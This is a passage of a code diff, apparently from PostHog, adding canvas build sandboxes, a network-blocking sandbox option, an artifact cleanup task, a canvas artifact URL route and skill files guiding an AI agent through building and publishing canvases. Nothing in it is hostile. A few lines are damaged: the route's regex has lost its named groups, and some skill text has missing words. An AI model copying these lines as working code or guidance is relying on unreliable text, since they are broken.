EXTERNAL_DATA_DIGEST_DAY_BOUNDARY_HOUR_UTC, send_error_tracking_weekly_digest, @@ -807,6 +808,12 @@ def setup_periodic_tasks(sender: Celery, **kwargs: Any) -> None: name="sync all surveys cache", ) + sender.add_periodic_task( + crontab(hour="1", minute=str(randrange(0, 40))), + cleanup_canvas_builds.s(), + name="apply canvas build artifact retention", + ) + sender.add_periodic_task( crontab(hour="*", minute="0"), validate_pending_change_requests.s(), diff --git a/posthog/urls.py b/posthog/urls.py index d8d7eafae097..31f0b8845617 100644 --- a/posthog/urls.py +++ b/posthog/urls.py @@ -31,6 +31,7 @@ uploaded_media, user, ) +from posthog.api.canvas_artifacts import canvas_artifact from posthog.api.github_callback.views import github_oauth_callback, github_setup_callback from posthog.api.oauth.connected_apps import ConnectedAppsViewSet from posthog.api.oauth.raycast_metadata import RAYCAST_METADATA_PATH, RaycastClientMetadataView @@ -742,6 +743,9 @@ def delete_events(request): # Redirect the legacy `/sign-up` path to the canonical `/signup` route. Works across # app./us./eu. subdomains because only the path changes; the host is preserved by the # relative redirect. +urlpatterns.append( + re_path(r"^canvas-artifacts/(?P[^/]+)/(?P.+)$", canvas_artifact, name="canvas-artifact") +) urlpatterns.append( opt_slash_path("sign-up", RedirectView.as_view(url="/signup", permanent=True, query_string=True)), ) diff --git a/products/marketing_analytics/frontend/generated/api.schemas.ts b/products/marketing_analytics/frontend/generated/api.schemas.ts index 904fe274f28d..a465d9662a2c 100644 --- a/products/marketing_analytics/frontend/generated/api.schemas.ts +++ b/products/marketing_analytics/frontend/generated/api.schemas.ts @@ -474,9 +474,9 @@ export interface UtmMappingSuggestionsResponseApi { * * `error` - error * * `warning` - warning */ -export type UtmIssueSeverityEnumApi = (typeof UtmIssueSeverityEnumApi)[keyof typeof UtmIssueSeverityEnumApi] +export type DiagnosticSeverityEnumApi = (typeof DiagnosticSeverityEnumApi)[keyof typeof DiagnosticSeverityEnumApi] -export const UtmIssueSeverityEnumApi = { +export const DiagnosticSeverityEnumApi = { Error: 'error', Warning: 'warning', } as const diff --git a/products/marketing_analytics/frontend/generated/api.zod.schemas.ts b/products/marketing_analytics/frontend/generated/api.zod.schemas.ts index 0fe3d4903b30..d787d28caaf9 100644 --- a/products/marketing_analytics/frontend/generated/api.zod.schemas.ts +++ b/products/marketing_analytics/frontend/generated/api.zod.schemas.ts @@ -890,12 +890,12 @@ export const UtmMappingSuggestionsResponseApi = zod.object({ export type UtmMappingSuggestionsResponseApi = zod.input export type UtmMappingSuggestionsResponseApiOutput = zod.output -export const UtmIssueSeverityEnumApi = zod +export const DiagnosticSeverityEnumApi = zod .enum(['error', 'warning']) .describe('\* `error` - error\n\* `warning` - warning') -export type UtmIssueSeverityEnumApi = zod.input -export type UtmIssueSeverityEnumApiOutput = zod.output +export type DiagnosticSeverityEnumApi = zod.input +export type DiagnosticSeverityEnumApiOutput = zod.output export const UtmIssueKindEnumApi = zod .enum(['not_linked', 'name_collision', 'no_tagged_events', 'unknown_source', 'missing_source']) diff --git a/products/tasks/backend/logic/services/loop_runs.py b/products/tasks/backend/logic/services/loop_runs.py index 49bca8f8bca8..2be3599c25f5 100644 --- a/products/tasks/backend/logic/services/loop_runs.py +++ b/products/tasks/backend/logic/services/loop_runs.py @@ -154,9 +154,11 @@ def render_context_target_block(context_target: dict | None) -> str: ) if outputs["canvas_id"]: lines.append( - f"- Update its canvas: publish the complete single-file React source with the " - f"`desktop-file-system-canvas-partial-update` tool (id: {outputs['canvas_id']}). Send the " - f"whole file each time; partial edits are not supported." + f"- Update its canvas (id: {outputs['canvas_id']}): read the current source project and " + f"`current_version_id` with `desktop-file-system-canvas-source-retrieve`, then publish the " + f"complete project with `desktop-file-system-canvas-publish-create`, passing the version you " + f"read as `expected_current_version_id`. Follow the `building-canvases` skill; do not use the " + f"legacy single-file partial-update tool." ) return "\n".join(lines) diff --git a/products/tasks/backend/logic/services/modal_sandbox.py b/products/tasks/backend/logic/services/modal_sandbox.py index c259ac2b4f6c..71c07aedb143 100644 --- a/products/tasks/backend/logic/services/modal_sandbox.py +++ b/products/tasks/backend/logic/services/modal_sandbox.py @@ -465,7 +465,17 @@ def _build_slim_template_image() -> modal.Image: ) -_template_image_cache: TTLCache = TTLCache(maxsize=3, ttl=300) +def _build_canvas_template_image() -> modal.Image: + builder_dir = Path(settings.BASE_DIR) / "common" / "canvas-builder" + return ( + _build_slim_template_image() + .add_local_file(str(builder_dir / "package.json"), "/scripts/package.json", copy=True) + .add_local_file(str(builder_dir / "package-lock.json"), "/scripts/package-lock.json", copy=True) + .run_commands("npm ci --prefix /scripts --omit=dev --no-audit --no-fund") + ) + + +_template_image_cache: TTLCache = TTLCache(maxsize=4, ttl=300) _template_image_lock = threading.Lock() @@ -476,6 +486,8 @@ def get_template_base_image(template: SandboxTemplate) -> modal.Image: # Built inline (see _build_slim_template_image), never from a registry or a local # Dockerfile build context — same image in DEBUG and in production. return _build_slim_template_image() + if template == SandboxTemplate.CANVAS_BUILD: + return _build_canvas_template_image() registry_image = { SandboxTemplate.DEFAULT_BASE: SANDBOX_BASE_IMAGE, @@ -732,6 +744,9 @@ def create(cls, config: SandboxConfig) -> ModalSandbox: if config.is_vm: create_kwargs["experimental_options"] = {"vm_runtime": True} + if config.block_network: + create_kwargs["block_network"] = True + if config.outbound_domain_allowlist: create_kwargs["outbound_domain_allowlist"] = config.outbound_domain_allowlist diff --git a/products/tasks/backend/logic/services/sandbox.py b/products/tasks/backend/logic/services/sandbox.py index fa101f05f9a4..9343e3e9a858 100644 --- a/products/tasks/backend/logic/services/sandbox.py +++ b/products/tasks/backend/logic/services/sandbox.py @@ -69,6 +69,7 @@ class SandboxTemplate(str, Enum): # sandboxes like stamphog that never run the agent server. See # Dockerfile.sandbox-slim and modal_sandbox.py's SLIM_BASE image definition. SLIM_BASE = "slim_base" + CANVAS_BUILD = "canvas_build" class ExecutionResult(BaseModel): @@ -119,6 +120,9 @@ class SandboxConfig(BaseModel): vm_runtime: bool = False # gVisor only — Modal rejects this under vm_runtime. outbound_domain_allowlist: list[str] | None = None + # gVisor only. An empty domain allowlist means unrestricted network in + # Modal, so callers that require no egress must state it explicitly. + block_network: bool = False # VM runtime only — custom images layer on the VM base; snapshot restores take precedence. custom_image_name: str | None = None # Set by the provider when the sandbox could not be created from the intended image and a diff --git a/products/tasks/backend/tests/test_loop_runs.py b/products/tasks/backend/tests/test_loop_runs.py index eebc194e1b27..f75511f77af5 100644 --- a/products/tasks/backend/tests/test_loop_runs.py +++ b/products/tasks/backend/tests/test_loop_runs.py @@ -772,12 +772,26 @@ def test_feed_output_reuses_an_existing_feed_channel(self): @parameterized.expand( [ ("update_context_only", {"update_context": True}, [FOLDER_ID], ["desktop-file-system-instructions"]), - ("canvas_only", {"canvas_id": CANVAS_ID}, [CANVAS_ID], ["desktop-file-system-canvas-partial-update"]), + ( + "canvas_only", + {"canvas_id": CANVAS_ID}, + [CANVAS_ID], + [ + "desktop-file-system-canvas-source-retrieve", + "desktop-file-system-canvas-publish-create", + "expected_current_version_id", + ], + ), ( "both", {"update_context": True, "canvas_id": CANVAS_ID}, [FOLDER_ID, CANVAS_ID], - ["desktop-file-system-instructions", "desktop-file-system-canvas-partial-update"], + [ + "desktop-file-system-instructions", + "desktop-file-system-canvas-source-retrieve", + "desktop-file-system-canvas-publish-create", + "expected_current_version_id", + ], ), ] ) diff --git a/products/tasks/skills/building-canvases/SKILL.md b/products/tasks/skills/building-canvases/SKILL.md new file mode 100644 index 000000000000..14182b9d56ab --- /dev/null +++ b/products/tasks/skills/building-canvases/SKILL.md @@ -0,0 +1,64 @@ +--- +name: building-canvases +description: > + Create or edit a PostHog canvas — a sandboxed browser application (data board, document, form, + small tool, graphics experiment) stored in PostHog and rendered by the desktop/web app. Use when + a task asks to build, generate, update, or fix a canvas, or when a canvas id is given as the + publish target. Covers resolving or creating the target canvas, choosing an implementation + approach (React + Quill vs plain HTML/browser APIs), the read → edit → validate → publish loop, + and which companion canvas skills to load for the details. +--- + +# Building canvases + +A canvas is a client-side browser application that runs in a sandboxed iframe inside PostHog. +Its source lives in PostHog — not in a repository — and you read and write it through the +`desktop-file-system-canvas-*` tools. Never write a canvas to a local file; publishing through +the tool is what saves it. + +## Resolve the target canvas + +- If the task names a canvas id (canvas-initiated tasks do), that is the target. Do not create another. +- Otherwise list candidates with `desktop-file-system-canvases-list` (scope with `channel_id` when the + request names a channel) and pick the canvas the request refers to. +- Only when no existing canvas is the intended target, create one with `desktop-file-system-canvases-create` + in the right channel. When you only have a channel name, resolve its id first with + `desktop-file-system-list` (channels are the `folder` entries). + +## Choose the least complex implementation that meets the request + +- **React + Quill** — PostHog data products, dashboards, forms, application-like state, and anything + that should look native to PostHog. Load the `building-react-quill-canvases` skill. +- **Semantic HTML, CSS, and direct browser APIs** — static documents, focused experiments, generative + graphics, ``/WebGL work where React adds no structure. Load the `building-html-canvases` skill. +- **Mix them** when appropriate: React can own the application chrome while Three-style code owns a + canvas element, or a mostly static page can mount one interactive island. + +This is a judgment call, not a persisted mode — ask the user only when the choice changes a +user-visible requirement you cannot infer. + +## The iteration loop + +1. Read the current source and version pointer with `desktop-file-system-canvas-source-retrieve`. + Remember `current_version_id` — your publish must be guarded on it. +2. Edit the project files. For any PostHog data the canvas shows, follow the `querying-canvas-data` + skill (saved insights loaded via the `ph` SDK — never fetch or your own PostHog client). +3. Validate with `desktop-file-system-canvas-validate-create` as often as needed and fix every + error-severity diagnostic. +4. Publish the complete project with `desktop-file-system-canvas-publish-create`, passing + `expected_current_version_id`. Follow the `validating-and-publishing-canvases` skill for + diagnostics and conflict recovery. + +Publish once per requested change, when the canvas is ready — not after every micro-edit. + +## Source-project shape + +- Keep `index.html` as the entry shell returned by the source tool. +- `src/canvas.tsx` remains the conventional React entry component, but it may import additional + relative TypeScript, TSX, JavaScript, JSON, SVG, CSS, and admitted asset files from the project. +- Self-contained module workers may be imported with `./worker.ts?worker`. A worker must not import + another local module. +- Binary assets belong in the project's `assets` map as base64 content with an admitted content type. + PNG, JPEG, GIF, WebP, AVIF, WOFF/WOFF2, WebAssembly, and generic octet-stream assets are supported. +- Keep the platform dependency map exactly as returned. Do not add npm packages; local relative + imports are project files, while bare imports remain limited to the platform-pinned set. diff --git a/products/tasks/skills/building-html-canvases/SKILL.md b/products/tasks/skills/building-html-canvases/SKILL.md new file mode 100644 index 000000000000..9017aee4c0c8 --- /dev/null +++ b/products/tasks/skills/building-html-canvases/SKILL.md @@ -0,0 +1,56 @@ +--- +name: building-html-canvases +description: > + Author a PostHog canvas with semantic HTML, CSS, and direct browser APIs — documents, articles, + generative graphics, 2D canvas and WebGL experiences, and focused experiments where React + components add no useful structure. Use after building-canvases has routed a canvas request to a + plain-HTML/browser-API implementation. Covers the thin component wrapper the current runtime + requires, styling and theming without Quill, drawing surfaces, and animation/cleanup patterns. +--- + +# Building HTML canvases + +Some canvases are documents or graphics programs, not applications: a written report, a diagram, +a generative-art piece, a WebGL scene. For these, semantic HTML, CSS, and direct browser APIs are +the right tools — don't force Quill components or React state onto a static page. + +## The wrapper the current runtime requires + +Every canvas keeps `src/canvas.tsx` as its mounted React entry component (default export, no +props). Keep the React layer as a thin shell and write the +experience in HTML/CSS/browser APIs inside it: + +- A document is JSX that is effectively semantic HTML — `
`, headings, lists, tables, + figures — with a `